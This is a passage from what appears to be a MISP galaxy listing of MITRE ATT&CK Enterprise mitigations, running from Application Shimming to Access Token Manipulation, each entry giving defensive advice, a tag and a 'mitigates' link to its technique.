There currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Application Shimming Mitigation - T1138"*

Application Shimming Mitigation - T1138 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"

Local Job Scheduling Mitigation - T1168

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Local Job Scheduling Mitigation - T1168"*

Local Job Scheduling Mitigation - T1168 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"

Hidden Files and Directories Mitigation - T1158

Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Hidden Files and Directories Mitigation - T1158"*

Hidden Files and Directories Mitigation - T1158 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"

Space after Filename Mitigation - T1151

Prevent files from having a trailing space after the extension.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Space after Filename Mitigation - T1151"*

Space after Filename Mitigation - T1151 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Space after Filename - T1151" with estimative-language:likelihood-probability="almost-certain"

Office Application Startup Mitigation - T1137

Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)

For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)

Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Office Application Startup Mitigation - T1137"*

Office Application Startup Mitigation - T1137 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

Data Encoding Mitigation - T1132

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data Encoding Mitigation - T1132"*

Data Encoding Mitigation - T1132 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"

Source Mitigation - T1153

Due to potential legitimate uses of source commands, it’s may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Source Mitigation - T1153"*

Source Mitigation - T1153 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Source - T1153" with estimative-language:likelihood-probability="almost-certain"

DLL Side-Loading Mitigation - T1073

Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="DLL Side-Loading Mitigation - T1073"*

DLL Side-Loading Mitigation - T1073 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"

Launchctl Mitigation - T1152

Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Launchctl Mitigation - T1152"*

Launchctl Mitigation - T1152 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"

Rootkit Mitigation - T1014

Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Rootkit Mitigation - T1014"*

Rootkit Mitigation - T1014 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

DCShadow Mitigation - T1207

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="DCShadow Mitigation - T1207"*

DCShadow Mitigation - T1207 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="DCShadow - T1207" with estimative-language:likelihood-probability="almost-certain"

Modify Registry Mitigation - T1112

Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Modify Registry Mitigation - T1112"*

Modify Registry Mitigation - T1112 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

System Time Discovery Mitigation - T1124

Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="System Time Discovery Mitigation - T1124"*

System Time Discovery Mitigation - T1124 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Exploit Public-Facing Application Mitigation - T1190

Application Isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exploit Public-Facing Application Mitigation - T1190"*

Exploit Public-Facing Application Mitigation - T1190 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

AppCert DLLs Mitigation - T1182

Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="AppCert DLLs Mitigation - T1182"*

AppCert DLLs Mitigation - T1182 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"

System Network Connections Discovery Mitigation - T1049

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="System Network Connections*

Discovery Mitigation - T1049"

System Network Connections Discovery Mitigation - T1049 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Dynamic Data Exchange Mitigation - T1173

Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)

Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Dynamic Data Exchange Mitigation - T1173"*

Dynamic Data Exchange Mitigation - T1173 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"

LLMNR/NBT-NS Poisoning Mitigation - T1171

Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)

Use host-based security software to block LLMNR/NetBIOS traffic.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="LLMNR/NBT-NS Poisoning Mitigation - T1171"*

LLMNR/NBT-NS Poisoning Mitigation - T1171 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="LLMNR/NBT-NS Poisoning - T1171" with estimative-language:likelihood-probability="almost-certain"

Screen Capture Mitigation - T1113

Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Screen Capture Mitigation - T1113"*

Screen Capture Mitigation - T1113 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Windows Admin Shares Mitigation - T1077

Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Windows Admin Shares Mitigation - T1077"*

Windows Admin Shares Mitigation - T1077 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Deobfuscate/Decode Files or Information Mitigation - T1140

Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Deobfuscate/Decode Files or Information Mitigation - T1140"*

Deobfuscate/Decode Files or Information Mitigation - T1140 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Deobfuscate/Decode Files or

Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Exploitation of Remote Services Mitigation - T1210

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exploitation of Remote Services Mitigation - T1210"*

Exploitation of Remote Services Mitigation - T1210 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Clear Command History Mitigation - T1146

Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Clear Command History Mitigation - T1146"*

Clear Command History Mitigation - T1146 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"

Modify Existing Service Mitigation - T1031

Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Modify Existing Service Mitigation - T1031"*

Modify Existing Service Mitigation - T1031 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"

Exploitation for Credential Access Mitigation - T1212

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exploitation for Credential Access Mitigation - T1212"*

Exploitation for Credential Access Mitigation - T1212 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

Trusted Relationship Mitigation - T1199

Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Trusted Relationship Mitigation - T1199"*

Trusted Relationship Mitigation - T1199 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

Sudo Caching Mitigation - T1206

Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed. Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Sudo Caching Mitigation - T1206"*

Sudo Caching Mitigation - T1206 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"

Third-party Software Mitigation - T1072

Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation.

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Third-party Software Mitigation - T1072"*

Third-party Software Mitigation - T1072 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"

Video Capture Mitigation - T1125

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Video Capture Mitigation - T1125"*

Video Capture Mitigation - T1125 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

Extra Window Memory Injection Mitigation - T1181

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Extra Window Memory Injection Mitigation - T1181"*

Extra Window Memory Injection Mitigation - T1181 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"

Install Root Certificate Mitigation - T1130

HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)

Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Install Root Certificate Mitigation - T1130"*

Install Root Certificate Mitigation - T1130 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"

Brute Force Mitigation - T1110

Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Brute Force Mitigation - T1110"*

Brute Force Mitigation - T1110 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Keychain Mitigation - T1142

The password for the user’s login keychain can be changed from the user’s login password. This increases the complexity for an adversary because they need to know an additional password.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Keychain Mitigation - T1142"*

Keychain Mitigation - T1142 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"

Email Collection Mitigation - T1114

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Email Collection Mitigation - T1114"*

Email Collection Mitigation - T1114 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

BITS Jobs Mitigation - T1197

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)

Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.

Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)

Consider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS</code>. (Citation: Microsoft BITS)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="BITS Jobs Mitigation - T1197"*

BITS Jobs Mitigation - T1197 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exploitation for Privilege Escalation Mitigation - T1068"*

Exploitation for Privilege Escalation Mitigation - T1068 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Remote File Copy Mitigation - T1105

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Remote File Copy Mitigation - T1105"*

Remote File Copy Mitigation - T1105 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Indirect Command Execution Mitigation - T1202

Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities used to invoke execution.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Indirect Command Execution Mitigation - T1202"*

Indirect Command Execution Mitigation - T1202 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Exfiltration Over Alternative Protocol Mitigation - T1048

Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exfiltration Over Alternative Protocol Mitigation - T1048"*

Exfiltration Over Alternative Protocol Mitigation - T1048 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Private Keys Mitigation - T1145

Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Private Keys Mitigation - T1145"*

Private Keys Mitigation - T1145 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"

Rc.common Mitigation - T1163

Limit privileges of user accounts so only authorized users can edit the rc.common file.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Rc.common Mitigation - T1163"*

Rc.common Mitigation - T1163 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"

Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Access Token Manipulation Mitigation - T1134"*

Access Token Manipulation Mitigation - T1134 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

